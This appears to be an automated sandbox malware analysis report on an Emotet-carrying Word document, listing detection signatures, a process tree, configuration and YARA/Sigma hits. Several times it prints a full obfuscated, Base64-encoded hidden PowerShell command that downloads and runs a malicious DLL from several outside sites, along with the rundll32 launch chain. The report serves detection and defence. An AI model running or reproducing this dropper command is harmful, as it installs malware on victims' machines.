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Analysis Report ARCH_25_012021.doc

Overview

General Information

Sample Name:ARCH_25_012021.doc
Analysis ID:344718
MD5:baedc37e68b58765fa52c73d0fd2c2d5
SHA1:2131d1319b5de532638d34f1e3bf68337b6099bf
SHA256:94485b3ce47d4a2df6dba8e888ca7a360763f7edd5a0448552d1d06b6e4f4baa

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for dropped file
Obfuscated command line found
Potential dropper URLs found in powershell memory
Powershell drops PE file
Sigma detected: Suspicious Call by Ordinal
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Antivirus or Machine Learning detection for unpacked file
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains strange resources
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Startup

  • System is w7x64
  • WINWORD.EXE (PID: 2364 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
  • cmd.exe (PID: 2400 cmdline: cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwBlAG8AJwApACsAKAAnAHAAYQByACcAKwAnAGQAYwAnACkAKwAoACcAcgBhAG4AJwArACcAZQBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAegB5AG4AcQAnACkAKwAnAC0AJwArACcAbAAnACsAKAAnAGkAJwArACcAbgB1ACcAKwAnAHgAJwArACcALQB5AGEAYQB5ACcAKQArACcAZgAvACcAKwAoACcAdwAnACsAJwAvACEAbgAnACkAKwAnAHMAIAAnACsAKAAnAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgACcAKQArACcAbgAnACsAJwBkACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AbQBtAHIAaQBuAGMAJwArACcAcwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGUAdABlAHIAbgBhAGwALQAnACkAKwAoACcAZAAnACsAJwB1AGUAbAAnACkAKwAoACcAaQAnACsAJwBzAHQALQAnACkAKwAoACcAOQBjAHUAJwArACcAcQB2AC8AagAnACkAKwAoACcAeAAnACsAJwBHAFEAagAvACEAJwArACcAbgAnACkAKwAoACcAcwAnACsAJwAgAHcAJwApACsAKAAnAHUAIABkACcAKwAnAGIAIABuAGQAJwArACcAOgAvACcAKQArACgAJwAvADMAJwArACcAbQB1ACcAKwAnAHMAawAnACkAKwAnAGUAdAAnACsAKAAnAGUAZQByACcAKwAnAHMAZQBuAHQALgBuAGUAJwArACcAdAAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwBUAFUAJwArACcAZwBEAC8AIQBuACcAKwAnAHMAIAAnACkAKwAnAHcAdQAnACsAJwAgACcAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcwAnACsAJwBrAGkAbABtAHUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKwAnAHAALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuAC8AJwArACcAaAAnACsAJwBRACcAKQArACgAJwBWAGwAQgAnACsAJwA4AGIALwAnACkAKQAuACIAcgBgAGUAUABsAEEAYABjAEUAIgAoACgAKAAnAG4AcwAnACsAJwAgACcAKQArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAnAG4AZAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEsAMQBpAHUAeAB4AHAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAFQAIgAoACQARAA1ADQAUwAgACsAIAAkAEsAbwAzAGEAYwA2ADMAIAArACAAJABGADAAOABKACkAOwAkAE8AMQA2AFIAPQAoACcAWAA2ACcAKwAnADIAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAZAA1AHMAXwBoAGYAIABpAG4AIAAkAFQAYQAxAHkAcwBwADQAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAHMAeQBTAFQARQBNAC4ATgBlAFQALgB3AEUAQgBDAEwASQBFAG4AdAApAC4AIgBEAE8AdwBOAGAATABgAG8AQQBgAEQARgBJAGwARQAiACgAJABKAGQANQBzAF8AaABmACwAIAAkAFEAZgB4ADEAMAB4AGEAKQA7ACQATAAyADkARAA9ACgAJwBPADYAJwArACcANABIACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGYAeAAxADAAeABhACkALgAiAEwAYABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADQANwAxADIAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUQBmAHgAMQAwAHgAYQAsACgAJwBBACcAKwAoACcAbgB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAHMAYABUAFIAaQBgAE4AZwAiACgAKQA7ACQAQgAyADcAQgA9ACgAKAAnAFcANAAnACsAJwAzACcAKQArACcAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOAAxAFYAPQAoACcASQA2ACcAKwAnADIAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANQA4AEkAPQAoACcATwAzACcAKwAnADUASQAnACkA MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
    • msg.exe (PID: 2624 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)
    • powershell.exe (PID: 2544 cmdline: powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwBlAG8AJwApACsAKAAnAHAAYQByACcAKwAnAGQAYwAnACkAKwAoACcAcgBhAG4AJwArACcAZQBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAegB5AG4AcQAnACkAKwAnAC0AJwArACcAbAAnACsAKAAnAGkAJwArACcAbgB1ACcAKwAnAHgAJwArACcALQB5AGEAYQB5ACcAKQArACcAZgAvACcAKwAoACcAdwAnACsAJwAvACEAbgAnACkAKwAnAHMAIAAnACsAKAAnAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgACcAKQArACcAbgAnACsAJwBkACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AbQBtAHIAaQBuAGMAJwArACcAcwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGUAdABlAHIAbgBhAGwALQAnACkAKwAoACcAZAAnACsAJwB1AGUAbAAnACkAKwAoACcAaQAnACsAJwBzAHQALQAnACkAKwAoACcAOQBjAHUAJwArACcAcQB2AC8AagAnACkAKwAoACcAeAAnACsAJwBHAFEAagAvACEAJwArACcAbgAnACkAKwAoACcAcwAnACsAJwAgAHcAJwApACsAKAAnAHUAIABkACcAKwAnAGIAIABuAGQAJwArACcAOgAvACcAKQArACgAJwAvADMAJwArACcAbQB1ACcAKwAnAHMAawAnACkAKwAnAGUAdAAnACsAKAAnAGUAZQByACcAKwAnAHMAZQBuAHQALgBuAGUAJwArACcAdAAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwBUAFUAJwArACcAZwBEAC8AIQBuACcAKwAnAHMAIAAnACkAKwAnAHcAdQAnACsAJwAgACcAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcwAnACsAJwBrAGkAbABtAHUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKwAnAHAALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuAC8AJwArACcAaAAnACsAJwBRACcAKQArACgAJwBWAGwAQgAnACsAJwA4AGIALwAnACkAKQAuACIAcgBgAGUAUABsAEEAYABjAEUAIgAoACgAKAAnAG4AcwAnACsAJwAgACcAKQArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAnAG4AZAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEsAMQBpAHUAeAB4AHAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAFQAIgAoACQARAA1ADQAUwAgACsAIAAkAEsAbwAzAGEAYwA2ADMAIAArACAAJABGADAAOABKACkAOwAkAE8AMQA2AFIAPQAoACcAWAA2ACcAKwAnADIAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAZAA1AHMAXwBoAGYAIABpAG4AIAAkAFQAYQAxAHkAcwBwADQAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAHMAeQBTAFQARQBNAC4ATgBlAFQALgB3AEUAQgBDAEwASQBFAG4AdAApAC4AIgBEAE8AdwBOAGAATABgAG8AQQBgAEQARgBJAGwARQAiACgAJABKAGQANQBzAF8AaABmACwAIAAkAFEAZgB4ADEAMAB4AGEAKQA7ACQATAAyADkARAA9ACgAJwBPADYAJwArACcANABIACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGYAeAAxADAAeABhACkALgAiAEwAYABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADQANwAxADIAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUQBmAHgAMQAwAHgAYQAsACgAJwBBACcAKwAoACcAbgB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAHMAYABUAFIAaQBgAE4AZwAiACgAKQA7ACQAQgAyADcAQgA9ACgAKAAnAFcANAAnACsAJwAzACcAKQArACcAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOAAxAFYAPQAoACcASQA2ACcAKwAnADIAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANQA4AEkAPQAoACcATwAzACcAKwAnADUASQAnACkA MD5: 852D67A27E454BD389FA7F02A8CBE23F)
      • rundll32.exe (PID: 2812 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString MD5: DD81D91FF3B0763C392422865C9AC12E)
        • rundll32.exe (PID: 2792 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString MD5: 51138BEEA3E2C21EC44D0932C71762A8)
          • rundll32.exe (PID: 2796 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
            • rundll32.exe (PID: 2920 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kizmwn\teeko.fjq',WoLqYWepjKvdu MD5: 51138BEEA3E2C21EC44D0932C71762A8)
              • rundll32.exe (PID: 2936 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Kizmwn\teeko.fjq',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                • rundll32.exe (PID: 3044 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ggqmed\gtlaa.wuq',yTCLpaeQtdZh MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                  • rundll32.exe (PID: 2468 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ggqmed\gtlaa.wuq',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                    • rundll32.exe (PID: 2448 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yapklbuza\ogcvtegh.uyf',ENdgueltfLPhAUL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                      • rundll32.exe (PID: 2844 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yapklbuza\ogcvtegh.uyf',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                        • rundll32.exe (PID: 2500 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mwxqfujfxki\wrmqlfoubv.sew',vtkOSGpvF MD5: 51138BEEA3E2C21EC44D0932C71762A8)
                          • rundll32.exe (PID: 3040 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Mwxqfujfxki\wrmqlfoubv.sew',#1 MD5: 51138BEEA3E2C21EC44D0932C71762A8)
  • cleanup

Malware Configuration

Threatname: Emotet

{"RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000F.00000002.2108207451.0000000000170000.00000040.00020000.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
    0000000D.00000002.2102924374.0000000000660000.00000040.00020000.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      0000000D.00000002.2102828167.00000000001E0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        00000008.00000002.2094445834.0000000000710000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000009.00000002.2095209420.00000000001F0000.00000040.00020000.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
            Click to see the 25 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            7.2.rundll32.exe.1f0000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
              13.2.rundll32.exe.660000.1.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                11.2.rundll32.exe.140000.0.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                  8.2.rundll32.exe.410000.0.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                    7.2.rundll32.exe.340000.1.raw.unpackJoeSecurity_EmotetYara detected EmotetJoe Security
                      Click to see the 35 entries

                      Sigma Overview

                      System Summary:

                      barindex
                      Sigma detected: Suspicious Call by OrdinalShow sources
                      Source: Process startedAuthor: Florian Roth: Data: Command: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1, CommandLine: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2792, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1, ProcessId: 2796
                      Sigma detected: Suspicious Encoded PowerShell Command LineShow sources
                      Source: Process startedAuthor: Florian Roth, Markus Neis: Data: Command: powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBl